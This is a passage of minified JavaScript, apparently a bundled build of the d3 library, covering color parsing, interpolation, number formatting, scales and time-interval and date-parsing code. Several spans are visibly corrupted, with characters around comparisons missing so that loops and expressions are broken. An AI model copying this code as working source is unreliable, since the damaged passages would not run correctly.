K8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,s=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Xl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Xl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=G8.exec(e))?new Xt(t[1],t[2],t[3],1):(t=X8.exec(e))?new Xt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=Z8.exec(e))?Xl(t[1],t[2],t[3],t[4]):(t=Q8.exec(e))?Xl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=J8.exec(e))?U1(t[1],t[2]/100,t[3]/100,1):(t=eL.exec(e))?U1(t[1],t[2]/100,t[3]/100,t[4]):D1.hasOwnProperty(e)?B1(D1[e]):e==="transparent"?new Xt(NaN,NaN,NaN,0):null}function B1(e){return new Xt(e>>16&255,e>>8&255,e&255,1)}function Xl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Xt(e,t,n,r)}function rL(e){return e instanceof fl||(e=qo(e)),e?(e=e.rgb(),new Xt(e.r,e.g,e.b,e.opacity)):new Xt}function ph(e,t,n,r){return arguments.length===1?rL(e):new Xt(e,t,n,r??1)}function Xt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}s0(Xt,ph,Zk(fl,{brighter(e){return e=e==null?zu:Math.pow(zu,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Ko:Math.pow(Ko,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Xt(ea(this.r),ea(this.g),ea(this.b),Su(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:F1,formatHex:F1,formatHex8:iL,formatRgb:W1,toString:W1}));function F1(){return`#${Gi(this.r)}${Gi(this.g)}${Gi(this.b)}`}function iL(){return`#${Gi(this.r)}${Gi(this.g)}${Gi(this.b)}${Gi((isNaN(this.opacity)?1:this.opacity)*255)}`}function W1(){const e=Su(this.opacity);return`${e===1?"rgb(":"rgba("}${ea(this.r)}, ${ea(this.g)}, ${ea(this.b)}${e===1?")":`, ${e})`}`}function Su(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function ea(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Gi(e){return e=ea(e),(e<16?"0":"")+e.toString(16)}function U1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Hn(e,t,n,r)}function Qk(e){if(e instanceof Hn)return new Hn(e.h,e.s,e.l,e.opacity);if(e instanceof fl||(e=qo(e)),!e)return new Hn;if(e instanceof Hn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),s=Math.max(t,n,r),o=NaN,l=s-i,c=(s+i)/2;return l?(t===s?o=(n-r)/l+(n0&&c<1?0:o,new Hn(o,l,c,e.opacity)}function aL(e,t,n,r){return arguments.length===1?Qk(e):new Hn(e,t,n,r??1)}function Hn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}s0(Hn,aL,Zk(fl,{brighter(e){return e=e==null?zu:Math.pow(zu,e),new Hn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Ko:Math.pow(Ko,e),new Hn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Xt(pm(e>=240?e-240:e+120,i,r),pm(e,i,r),pm(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Hn(V1(this.h),Zl(this.s),Zl(this.l),Su(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=Su(this.opacity);return`${e===1?"hsl(":"hsla("}${V1(this.h)}, ${Zl(this.s)*100}%, ${Zl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function V1(e){return e=(e||0)%360,e<0?e+360:e}function Zl(e){return Math.max(0,Math.min(1,e||0))}function pm(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const o0=e=>()=>e;function sL(e,t){return function(n){return e+n*t}}function oL(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function lL(e){return(e=+e)==1?Jk:function(t,n){return n-t?oL(t,n,e):o0(isNaN(t)?n:t)}}function Jk(e,t){var n=t-e;return n?sL(e,n):o0(isNaN(e)?t:e)}const H1=function e(t){var n=lL(t);function r(i,s){var o=n((i=ph(i)).r,(s=ph(s)).r),l=n(i.g,s.g),c=n(i.b,s.b),u=Jk(i.opacity,s.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function cL(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(s){for(i=0;in&&(s=t.slice(n,s),l[o]?l[o]+=s:l[++o]=s),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:Cu(r,i)})),n=hm.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function bL(e,t,n){var r=e[0],i=e[1],s=t[0],o=t[1];return i2?wL:bL,c=u=null,f}function f(p){return p==null||isNaN(p=+p)?s:(c||(c=l(e.map(r),t,n)))(r(o(p)))}return f.invert=function(p){return o(i((u||(u=l(t,e.map(r),Cu)))(p)))},f.domain=function(p){return arguments.length?(e=Array.from(p,Pu),d()):e.slice()},f.range=function(p){return arguments.length?(t=Array.from(p),d()):t.slice()},f.rangeRound=function(p){return t=Array.from(p),n=l0,d()},f.clamp=function(p){return arguments.length?(o=p?!0:Ft,d()):o!==Ft},f.interpolate=function(p){return arguments.length?(n=p,d()):n},f.unknown=function(p){return arguments.length?(s=p,f):s},function(p,h){return r=p,i=h,d()}}function c0(){return Gd()(Ft,Ft)}function jL(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function Eu(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function us(e){return e=Eu(Math.abs(e)),e?e[1]:NaN}function NL(e,t){return function(n,r){for(var i=n.length,s=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),s.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return s.reverse().join(t)}}function kL(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var zL=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Go(e){if(!(t=zL.exec(e)))throw new Error("invalid format: "+e);var t;return new u0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Go.prototype=u0.prototype;function u0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}u0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function SL(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var _u;function CL(e,t){var n=Eu(e,t);if(!n)return _u=void 0,e.toPrecision(t);var r=n[0],i=n[1],s=i-(_u=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return s===o?r:s>o?r+new Array(s-o+1).join("0"):s>0?r.slice(0,s)+"."+r.slice(s):"0."+new Array(1-s).join("0")+Eu(e,Math.max(0,t+s-1))[0]}function Y1(e,t){var n=Eu(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const q1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:jL,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>Y1(e*100,t),r:Y1,s:CL,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function G1(e){return e}var X1=Array.prototype.map,Z1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function PL(e){var t=e.grouping===void 0||e.thousands===void 0?G1:NL(X1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",s=e.numerals===void 0?G1:kL(X1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,p){f=Go(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,N=f.trim,z=f.type;z==="n"?(w=!0,z="g"):q1[z]||(j===void 0&&(j=12),N=!0,z="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var k=(p&&p.prefix!==void 0?p.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(z)?"0"+z.toLowerCase():""),S=(y==="$"?r:/[%p]/.test(z)?o:"")+(p&&p.suffix!==void 0?p.suffix:""),A=q1[z],_=/[defgprs%]/.test(z);j=j===void 0?6:/[gprs]/.test(z)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function O(P){var I=k,Y=S,D,M,W;if(z==="c")Y=A(P)+Y,P="";else{P=+P;var $=P<0||1/P<0;if(P=isNaN(P)?c:A(Math.abs(P),j),N&&(P=SL(P)),$&&+P==0&&g!=="+"&&($=!1),I=($?g==="("?g:l:g==="-"||g==="("?"":g)+I,Y=(z==="s"&&!isNaN(P)&&_u!==void 0?Z1[8+_u/3]:"")+Y+($&&g==="("?")":""),_){for(D=-1,M=P.length;++DW||W>57){Y=(W===46?i+P.slice(D+1):P.slice(D))+Y,P=P.slice(0,D);break}}}w&&!v&&(P=t(P,1/0));var H=I.length+P.length+Y.length,F=H>1)+I+P+Y+F.slice(H);break;default:P=F+I+P+Y;break}return s(P)}return O.toString=function(){return f+""},O}function d(f,p){var h=Math.max(-8,Math.min(8,Math.floor(us(p)/3)))*3,x=Math.pow(10,-h),g=u((f=Go(f),f.type="f",f),{suffix:Z1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Ql,d0,e4;EL({thousands:",",grouping:[3],currency:["$",""]});function EL(e){return Ql=PL(e),d0=Ql.format,e4=Ql.formatPrefix,Ql}function _L(e){return Math.max(0,-us(Math.abs(e)))}function AL(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(us(t)/3)))*3-us(Math.abs(e)))}function OL(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,us(t)-us(e))+1}function t4(e,t,n,r){var i=fh(e,t,n),s;switch(r=Go(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(s=AL(i,o))&&(r.precision=s),e4(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(s=OL(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=s-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(s=_L(i))&&(r.precision=s-(r.type==="%")*2);break}}return d0(r)}function Ai(e){var t=e.domain;return e.ticks=function(n){var r=t();return uh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return t4(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,s=r.length-1,o=r[i],l=r[s],c,u,d=10;for(l0;){if(u=dh(o,l,n),u===c)return r[i]=o,r[s]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function n4(){var e=c0();return e.copy=function(){return ml(e,n4())},Mn.apply(e,arguments),Ai(e)}function r4(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,Pu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return r4(e).unknown(t)},e=arguments.length?Array.from(e,Pu):[0,1],Ai(n)}function i4(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],s=e[r],o;return sMath.pow(e,t)}function DL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function eb(e){return(t,n)=>-e(-t,n)}function f0(e){const t=e(Q1,J1),n=t.domain;let r=10,i,s;function o(){return i=DL(r),s=IL(r),n()[0]<0?(i=eb(i),s=eb(s),e(TL,ML)):e(Q1,J1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;p<=h;++p)for(x=1;xd)break;v.push(g)}}else for(;p<=h;++p)for(x=r-1;x>=1;--x)if(g=p>0?x/s(-p):x*s(p),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Go(c)).precision==null&&(c.trim=!0),c=d0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/s(Math.round(i(d)));return f*rn(i4(n(),{floor:l=>s(Math.floor(i(l))),ceil:l=>s(Math.ceil(i(l)))})),t}function a4(){const e=f0(Gd()).domain([1,10]);return e.copy=()=>ml(e,a4()).base(e.base()),Mn.apply(e,arguments),e}function tb(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function nb(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function m0(e){var t=1,n=e(tb(t),nb(t));return n.constant=function(r){return arguments.length?e(tb(t=+r),nb(t)):t},Ai(n)}function s4(){var e=m0(Gd());return e.copy=function(){return ml(e,s4()).constant(e.constant())},Mn.apply(e,arguments)}function rb(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function RL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function $L(e){return e<0?-e*e:e*e}function p0(e){var t=e(Ft,Ft),n=1;function r(){return n===1?e(Ft,Ft):n===.5?e(RL,$L):e(rb(n),rb(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},Ai(t)}function h0(){var e=p0(Gd());return e.copy=function(){return ml(e,h0()).exponent(e.exponent())},Mn.apply(e,arguments),e}function BL(){return h0.apply(null,arguments).exponent(.5)}function ib(e){return Math.sign(e)*e*e}function FL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function o4(){var e=c0(),t=[0,1],n=!1,r;function i(s){var o=FL(e(s));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(s){return e.invert(ib(s))},i.domain=function(s){return arguments.length?(e.domain(s),i):e.domain()},i.range=function(s){return arguments.length?(e.range((t=Array.from(s,Pu)).map(ib)),i):t.slice()},i.rangeRound=function(s){return i.range(s).round(!0)},i.round=function(s){return arguments.length?(n=!!s,i):n},i.clamp=function(s){return arguments.length?(e.clamp(s),i):e.clamp()},i.unknown=function(s){return arguments.length?(r=s,i):r},i.copy=function(){return o4(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Mn.apply(i,arguments),Ai(i)}function l4(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(s=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return c4().domain([e,t]).range(i).unknown(s)},Mn.apply(Ai(o),arguments)}function u4(){var e=[.5],t=[0,1],n,r=1;function i(s){return s!=null&&s<=s?t[dl(e,s,0,r)]:n}return i.domain=function(s){return arguments.length?(e=Array.from(s),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(s){return arguments.length?(t=Array.from(s),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(s){var o=t.indexOf(s);return[e[o-1],e[o]]},i.unknown=function(s){return arguments.length?(n=s,i):n},i.copy=function(){return u4().domain(e).range(t).unknown(n)},Mn.apply(i,arguments)}const xm=new Date,vm=new Date;function gt(e,t,n,r){function i(s){return e(s=arguments.length===0?new Date:new Date(+s)),s}return i.floor=s=>(e(s=new Date(+s)),s),i.ceil=s=>(e(s=new Date(s-1)),t(s,1),e(s),s),i.round=s=>{const o=i(s),l=i.ceil(s);return s-o(t(s=new Date(+s),o==null?1:Math.floor(o)),s),i.range=(s,o,l)=>{const c=[];if(s=i.ceil(s),l=l==null?1:Math.floor(l),!(s0))return c;let u;do c.push(u=new Date(+s)),t(s,l),e(s);while(ugt(o=>{if(o>=o)for(;e(o),!s(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!s(o););else for(;--l>=0;)for(;t(o,1),!s(o););}),n&&(i.count=(s,o)=>(xm.setTime(+s),vm.setTime(+o),e(xm),e(vm),Math.floor(n(xm,vm))),i.every=s=>(s=Math.floor(s),!isFinite(s)||!(s>0)?null:s>1?i.filter(r?o=>r(o)%s===0:o=>i.count(0,o)%s===0):i)),i}const Au=gt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);Au.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?gt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):Au);Au.range;const Sr=1e3,Pn=Sr*60,Cr=Pn*60,Dr=Cr*24,x0=Dr*7,ab=Dr*30,gm=Dr*365,Xi=gt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*Sr)},(e,t)=>(t-e)/Sr,e=>e.getUTCSeconds());Xi.range;const v0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getMinutes());v0.range;const g0=gt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getUTCMinutes());g0.range;const y0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr-e.getMinutes()*Pn)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getHours());y0.range;const b0=gt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getUTCHours());b0.range;const pl=gt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*Pn)/Dr,e=>e.getDate()-1);pl.range;const Xd=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>e.getUTCDate()-1);Xd.range;const d4=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>Math.floor(e/Dr));d4.range;function ba(e){return gt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*Pn)/x0)}const Zd=ba(0),Ou=ba(1),WL=ba(2),UL=ba(3),ds=ba(4),VL=ba(5),HL=ba(6);Zd.range;Ou.range;WL.range;UL.range;ds.range;VL.range;HL.range;function wa(e){return gt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/x0)}const Qd=wa(0),Tu=wa(1),KL=wa(2),YL=wa(3),fs=wa(4),qL=wa(5),GL=wa(6);Qd.range;Tu.range;KL.range;YL.range;fs.range;qL.range;GL.range;const w0=gt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());w0.range;const j0=gt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());j0.range;const Rr=gt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());Rr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});Rr.range;const $r=gt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());$r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});$r.range;function f4(e,t,n,r,i,s){const o=[[Xi,1,Sr],[Xi,5,5*Sr],[Xi,15,15*Sr],[Xi,30,30*Sr],[s,1,Pn],[s,5,5*Pn],[s,15,15*Pn],[s,30,30*Pn],[i,1,Cr],[i,3,3*Cr],[i,6,6*Cr],[i,12,12*Cr],[r,1,Dr],[r,2,2*Dr],[n,1,x0],[t,1,ab],[t,3,3*ab],[e,1,gm]];function l(u,d,f){const p=dy).right(o,p);if(h===o.length)return e.every(fh(u/gm,d/gm,f));if(h===0)return Au.every(Math.max(fh(u,d,f),1));const[x,g]=o[p/o[h-1][2]53)return null;"w"in B||(B.w=1),"Z"in B?(we=bm(Hs(B.y,0,1)),Ne=we.getUTCDay(),we=Ne>4||Ne===0?Tu.ceil(we):Tu(we),we=Xd.offset(we,(B.V-1)*7),B.y=we.getUTCFullYear(),B.m=we.getUTCMonth(),B.d=we.getUTCDate()+(B.w+6)%7):(we=ym(Hs(B.y,0,1)),Ne=we.getDay(),we=Ne>4||Ne===0?Ou.ceil(we):Ou(we),we=pl.offset(we,(B.V-1)*7),B.y=we.getFullYear(),B.m=we.getMonth(),B.d=we.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),Ne="Z"in B?bm(Hs(B.y,0,1)).getUTCDay():ym(Hs(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(Ne+5)%7:B.w+B.U*7-(Ne+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,bm(B)):ym(B)}}function S(C,q,ne,B){for(var le=0,we=q.length,Ne=ne.length,Ae,R;le=Ne)return-1;if(Ae=q.charCodeAt(le++),Ae===37){if(Ae=q.charAt(le++),R=N[Ae in sb?q.charAt(le++):Ae],!R||(B=R(C,ne,B))<0)return-1}else if(Ae!=ne.charCodeAt(B++))return-1}return B}function A(C,q,ne){var B=u.exec(q.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function _(C,q,ne){var B=h.exec(q.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function O(C,q,ne){var B=f.exec(q.slice(ne));return B?(C.w=p.get(B[0].toLowerCase()),ne+B[0].length):-1}function P(C,q,ne){var B=v.exec(q.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function I(C,q,ne){var B=g.exec(q.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function Y(C,q,ne){return S(C,t,q,ne)}function D(C,q,ne){return S(C,n,q,ne)}function M(C,q,ne){return S(C,r,q,ne)}function W(C){return o[C.getDay()]}function $(C){return s[C.getDay()]}function H(C){return c[C.getMonth()]}function F(C){return l[C.getMonth()]}function K(C){return i[+(C.getHours()>=12)]}function Z(C){return 1+~~(C.getMonth()/3)}function oe(C){return o[C.getUTCDay()]}function de(C){return s[C.getUTCDay()]}function be(C){return c[C.getUTCMonth()]}function ye(C){return l[C.getUTCMonth()]}function G(C){return i[+(C.getUTCHours()>=12)]}function te(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var q=z(C+="",w);return q.toString=function(){return C},q},parse:function(C){var q=k(C+="",!1);return q.toString=function(){return C},q},utcFormat:function(C){var q=z(C+="",j);return q.toString=function(){return C},q},utcParse:function(C){var q=k(C+="",!0);return q.toString=function(){return C},q}}}var sb={"-":"",_:" ",0:"0"},zt=/^\s*\d+/,t7=/^%/,n7=/[\\^$*+?|[\]().{}]/g;function _e(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",s=i.length;return r+(s[t.toLowerCase(),n]))}function i7(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function a7(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function s7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function o7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function l7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function ob(e,t,n){var r=zt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function lb(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function c7(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function u7(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function d7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function cb(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function f7(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function ub(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function m7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function p7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function h7(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function x7(e,t,n){var r=zt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function v7(e,t,n){var r=t7.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function g7(e,t,n){var r=zt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function y7(e,t,n){var r=zt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function db(e,t){return _e(e.getDate(),t,2)}function b7(e,t){return _e(e.getHours(),t,2)}function w7(e,t){return _e(e.getHours()%12||12,t,2)}function j7(e,t){return _e(1+pl.count(Rr(e),e),t,3)}function m4(e,t){return _e(e.getMilliseconds(),t,3)}function N7(e,t){return m4(e,t)+"000"}function k7(e,t){return _e(e.getMonth()+1,t,2)}function z7(e,t){return _e(e.getMinutes(),t,2)}function S7(e,t){return _e(e.getSeconds(),t,2)}function C7(e){var t=e.getDay();return t===0?7:t}function P7(e,t){return _e(Zd.count(Rr(e)-1,e),t,2)}function p4(e){var t=e.getDay();return t>=4||t===0?ds(e):ds.ceil(e)}function E7(e,t){return e=p4(e),_e(ds.count(Rr(e),e)+(Rr(e).getDay()===4),t,2)}function _7(e){return 